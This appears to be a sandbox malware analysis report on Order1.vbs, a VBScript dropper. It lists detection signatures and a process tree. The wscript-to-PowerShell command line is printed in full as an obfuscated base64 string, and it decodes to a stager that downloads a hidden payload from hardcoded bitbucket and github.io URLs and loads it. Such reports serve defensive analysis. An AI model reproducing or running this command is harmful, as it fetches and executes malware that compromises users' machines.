Windows
Analysis Report
Order1.vbs
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AntiVM3
Yara detected Powershell download and execute
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7616 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Order 1.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 7704 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$dosigo = 'WwBO@GU@ d@@u@FM@ZQ By@HY@aQBj @GU@U@Bv@G k@bgB0@E0@ YQBu@GE@Zw Bl@HI@XQ@6 @Do@UwBl@G M@dQBy@Gk@ d@B5@F@@cg Bv@HQ@bwBj @G8@b@@g@D 0@I@Bb@E4@ ZQB0@C4@Uw Bl@GM@dQBy @Gk@d@B5@F @@cgBv@HQ@ bwBj@G8@b@ BU@Hk@c@Bl @F0@Og@6@F Q@b@Bz@DE@ Mg@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ ZgB1@G4@Yw B0@Gk@bwBu @C@@R@Bv@H c@bgBs@G8@ YQBk@EQ@YQ B0@GE@RgBy @G8@bQBM@G k@bgBr@HM@ I@B7@C@@c@ Bh@HI@YQBt @C@@K@Bb@H M@d@By@Gk@ bgBn@Fs@XQ Bd@CQ@b@Bp @G4@awBz@C k@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@B3@GU@ YgBD@Gw@aQ Bl@G4@d@@g @D0@I@BO@G U@dw@t@E8@ YgBq@GU@Yw B0@C@@UwB5 @HM@d@Bl@G 0@LgBO@GU@ d@@u@Fc@ZQ Bi@EM@b@Bp @GU@bgB0@D s@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@Bz@Gg@ dQBm@GY@b@ Bl@GQ@T@Bp @G4@awBz@C @@PQ@g@Ec@ ZQB0@C0@Ug Bh@G4@Z@Bv @G0@I@@t@E k@bgBw@HU@ d@BP@GI@ag Bl@GM@d@@g @CQ@b@Bp@G 4@awBz@C@@ LQBD@G8@dQ Bu@HQ@I@@k @Gw@aQBu@G s@cw@u@Ew@ ZQBu@Gc@d@ Bo@Ds@I@@N @@o@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @g@C@@ZgBv @HI@ZQBh@G M@a@@g@Cg@ J@Bs@Gk@bg Br@C@@aQBu @C@@J@Bz@G g@dQBm@GY@ b@Bl@GQ@T@ Bp@G4@awBz @Ck@I@B7@C @@d@By@Hk@ I@B7@C@@cg Bl@HQ@dQBy @G4@I@@k@H c@ZQBi@EM@ b@Bp@GU@bg B0@C4@R@Bv @Hc@bgBs@G 8@YQBk@EQ@ YQB0@GE@K@ @k@Gw@aQBu @Gs@KQ@g@H 0@I@Bj@GE@ d@Bj@Gg@I@ B7@C@@YwBv @G4@d@Bp@G 4@dQBl@C@@ fQ@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ By@GU@d@B1 @HI@bg@g@C Q@bgB1@Gw@ b@@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @k@Gw@aQBu @Gs@cw@g@D 0@I@B@@Cg@ JwBo@HQ@d@ Bw@HM@Og@v @C8@YgBp@H Q@YgB1@GM@ awBl@HQ@Lg Bv@HI@Zw@v @GM@YwBj@G M@YwBj@GM@ YwBj@GM@Yw Bj@G4@bQBm @Gc@LwBn@H Y@Z@Bm@Gg@ Z@@v@GQ@bw B3@G4@b@Bv @GE@Z@Bz@C 8@d@Bl@HM@ d@@u@Go@c@ Bn@D8@MQ@z @Dc@MQ@x@D M@Jw@s@C@@ JwBo@HQ@d@ Bw@HM@Og@v @C8@bwBm@G k@YwBl@DM@ Ng@1@C4@Zw Bp@HQ@a@B1 @GI@LgBp@G 8@Lw@x@C8@ d@Bl@HM@d@ @u@Go@c@Bn @Cc@KQ@7@@ 0@Cg@g@C@@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C Q@aQBt@GE@ ZwBl@EI@eQ B0@GU@cw@g @D0@I@BE@G 8@dwBu@Gw@ bwBh@GQ@R@ Bh@HQ@YQBG @HI@bwBt@E w@aQBu@Gs@ cw@g@CQ@b@ Bp@G4@awBz @Ds@DQ@K@C @@I@@g@C@@ I@@g@C@@I@ @g@C@@I@@g @C@@aQBm@C @@K@@k@Gk@ bQBh@Gc@ZQ BC@Hk@d@Bl @HM@I@@t@G 4@ZQ@g@CQ@ bgB1@Gw@b@ @p@C@@ew@g @CQ@aQBt@G E@ZwBl@FQ@ ZQB4@HQ@I@ @9@C@@WwBT @Hk@cwB0@G U@bQ@u@FQ@ ZQB4@HQ@Lg BF@G4@YwBv @GQ@aQBu@G c@XQ@6@Do@ VQBU@EY@O@ @u@Ec@ZQB0 @FM@d@By@G k@bgBn@Cg@ J@Bp@G0@YQ Bn@GU@QgB5 @HQ@ZQBz@C k@Ow@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@@k@HM@ d@Bh@HI@d@ BG@Gw@YQBn @C@@PQ@g@C c@P@@8@EI@ QQBT@EU@Ng @0@F8@UwBU @EE@UgBU@D 4@Pg@n@Ds@ I@@k@GU@bg Bk@EY@b@Bh @Gc@I@@9@C @@Jw@8@Dw@ QgBB@FM@RQ @2@DQ@XwBF @E4@R@@+@D 4@Jw@7@C@@ J@Bz@HQ@YQ By@HQ@SQBu @GQ@ZQB4@C @@PQ@g@CQ@ aQBt@GE@Zw Bl@FQ@ZQB4 @HQ@LgBJ@G 4@Z@Bl@Hg@ TwBm@Cg@J@ Bz@HQ@YQBy @HQ@RgBs@G E@Zw@p@Ds@ I@@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ J@Bl@G4@Z@ BJ@G4@Z@Bl @Hg@I@@9@C